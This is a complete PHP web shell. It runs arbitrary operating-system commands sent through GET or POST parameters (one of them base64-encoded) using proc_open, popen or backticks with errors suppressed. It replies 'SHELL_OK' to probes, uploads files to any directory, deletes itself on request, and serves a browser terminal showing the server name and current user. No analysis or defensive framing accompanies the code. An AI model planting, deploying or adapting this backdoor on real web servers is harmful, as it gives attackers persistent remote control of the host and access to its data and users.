<?php if (isset($_POST['cmd'])) { $cmd = base64_decode($_POST['cmd']); $cwd = isset($_POST['d']) ? $_POST['d'] : getcwd(); @chdir($cwd); header('Content-Type: text/plain; charset=utf-8'); $p = @proc_open($cmd, [['pipe','r'],['pipe','w'],['pipe','w']], $pp); if (is_resource($p)) { @fclose($pp[0]); echo @stream_get_contents($pp[1]); @fclose($pp[1]); @fclose($pp[2]); @proc_close($p); } elseif (function_exists('popen')) { $h = @popen($cmd, 'r'); if (is_resource($h)) { while (!feof($h)) { echo fread($h, 8192); } pclose($h); } } else { echo @`$cmd`; } exit;}$cmd = isset($_GET['c']) ? $_GET['c'] : (isset($_POST['x']) ? $_POST['x'] : '');$cwd = isset($_POST['d']) ? $_POST['d'] : getcwd();if (isset($_GET['c']) && $_GET['c'] !== '') { @chdir($cwd); header('Content-Type: text/plain; charset=utf-8'); $p = @proc_open($cmd, [['pipe','r'],['pipe','w'],['pipe','w']], $pp); if (is_resource($p)) { @fclose($pp[0]); echo @stream_get_contents($pp[1]); @fclose($pp[1]); @fclose($pp[2]); @proc_close($p); } elseif (function_exists('popen')) { $h = @popen($cmd, 'r'); if (is_resource($h)) { while (!feof($h)) { echo fread($h, 8192); } pclose($h); } } else { echo @`$cmd`; } exit;}if ($cmd === '' && empty($_POST)) { $accept = isset($_SERVER['HTTP_ACCEPT']) ? $_SERVER['HTTP_ACCEPT'] : ''; if (strpos($accept, 'text/html') === false) { header('Content-Type: text/plain; charset=utf-8'); echo 'SHELL_OK'; exit; }}if ($cmd === '') { if (isset($_FILES['u'])) { $d = $cwd . '/' . basename($_FILES['u']['name']); if (@move_uploaded_file($_FILES['u']['tmp_name'], $d)) { echo 'UPLOADED: ' . htmlspecialchars($d); } else { echo 'UPLOAD FAILED'; } exit; } if (isset($_GET['del'])) { @unlink(__FILE__); echo 'DELETED'; exit; } if (isset($_POST['d'])) { @chdir($_POST['d']); $cwd = getcwd(); } $srv = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : gethostname(); $usr = function_exists('get_current_user') ? get_current_user() : '?'; ?><!DOCTYPE html><html><head><meta charset="UTF-8"><title>CMD</title><style>:root{--bg:#0d1117;--fg:#c9d1d9;--g:#58a6ff;--o:#f0883e;--b1:#161b22;--b2:#21262d;--t:#8b949e}*{margin:0;padding:0;box-sizing:border-box}body{background:var(--bg);color:var(--fg);font:14px Consolas,monospace;height:100vh;display:flex;flex-direction:column}.pw{color:var(--g);font-weight:bold}.if{color:var(--t)}.ln{padding:2px 0;white-space:pre-wrap;word-break:break-all;font-size:13px;line-height:1.5}.pr{color:var(--g)}.op{color:var(--fg)}.er{color:#f85149}.wl{color:var(--t);font-size:12px;padding:4px 0}button{background:var(--g);color:#000;border:0;padding:6px 14px;border-radius:4px;cursor:pointer;font:inherit;font-size:13px;font-weight:bold}</style></head><body><div id="hd"><span class="pw" id="pw"><?php echo htmlspecialchars($cwd); ?></span><span class="if"><?php echo PHP_OS; ?> | PHP <?php echo PHP_VERSION; ?> | <?php echo isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '?'; ?></span></div><div id="tm"><div class="wl">CMD Shell - <?php echo htmlspecialchars($srv); ?> | <?php echo htmlspecialchars($usr); ?></div></div><div id="ia"><span class="ps">$</span><input id="ci" placeholder="command..." autofocus autocomplete="off" spellcheck="false"><button onclick="x()">RUN</button></div><div id="ab"><a onclick="t('up')">Upload</a><a onclick="document.getElementById('tm').innerHTML=''">Clear</a><a href="?del=1" onclick="return confirm('Delete?')">Delete</a></div><div id="up"><h4>Upload - <?php echo htmlspecialchars($cwd); ?></h4><form onsubmit="return u()"><input type="file" id="fi"><button type="submit">Upload</button></form></div><script>var w=<?php echo json_encode($cwd); ?>;var ci=document.getElementById('ci'),tm=document.getElementById('tm');var h=[],hi=-1;ci.addEventListener('keydown',function(e){if(e.key==='Enter')x();if(e.key==='ArrowUp'){e.preventDefault();if(h.length&&hi<h.length-1){hi++;ci.value=h[h.length-1-hi];}}if(e.key==='ArrowDown'){e.preventDefault();if(hi>=0){hi--;ci.value=hi>=0?h[h.length-1-hi]:'';}}});function es(s){return s.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');}function x(){var c=ci.value.trim();if(!c)return;h.push(c);hi=-1;ci.value='';tm.innerHTML+='<div class="ln"><span class="pr">'+es(w)+'&gt; </span>'+es(c)+'</div>';if(c==='clear'||c==='cls'){tm.innerHTML='';return;}var d=new FormData();d.append('x',c);d.append('d',w);fetch('',{method:'POST',body:d}).then(function(r){return r.text();}).then(function(t){var out=t;if(out.indexOf('<br>')===0)out=out.substring(4);tm.innerHTML+='<div class="ln"><span class="op">'+out+'</span></div>';tm.scrollTop=tm.scrollHeight;if(c.toLowerCase().indexOf('cd ')!==0)return;var nd=c.substring(3).replace(/^["\\']|["\\']$/g,'');fetch('',{method:'POST',body:new URLSearchParams({d:nd})}).then(function(){fetch('',{method:'POST',body:new URLSearchParams({x:'cd'})}).then(function(){var f=new FormData();f.append('x','pwd 2>/dev/null||cd');f.append('d',nd);fetch('',{method:'POST',body:f}).then(function(r){return r.text();}).then(function(t2){var m=t2.match(/([A-Z]:\\\\[^\\r\\n]+|[^\\s]+\\n)/);if(m){w=m[1].trim();document.getElementById('pw').textContent=w;}});});});}).catch(function(e){tm.innerHTML+='<div class="ln"><span class="er">'+es(e.message)+'</span></div>';});}function u(){var f=document.getElementById('fi');if(!f.files.length)return false;var d=new FormData();d.append('u',f.files[0]);fetch('',{method:'POST',body:d}).then(function(r){return r.text();}).then(function(t){alert(t);t('up');});return false;}function t(id){var e=document.getElementById(id);e.style.display=e.style.display==='block'?'none':'block';}</script></body></html><?php exit;}@chdir($cwd);$p = @proc_open($cmd, [['pipe','r'],['pipe','w'],['pipe','w']], $pp);if (is_resource($p)) { @fclose($pp[0]); echo @stream_get_contents($pp[1]); @fclose($pp[1]); @fclose($pp[2]); @proc_close($p);} elseif (function_exists('popen')) { $h = @popen($cmd, 'r'); if (is_resource($h)) { while (!feof($h)) { echo fread($h, 8192); } pclose($h); }} else { echo @`$cmd`;}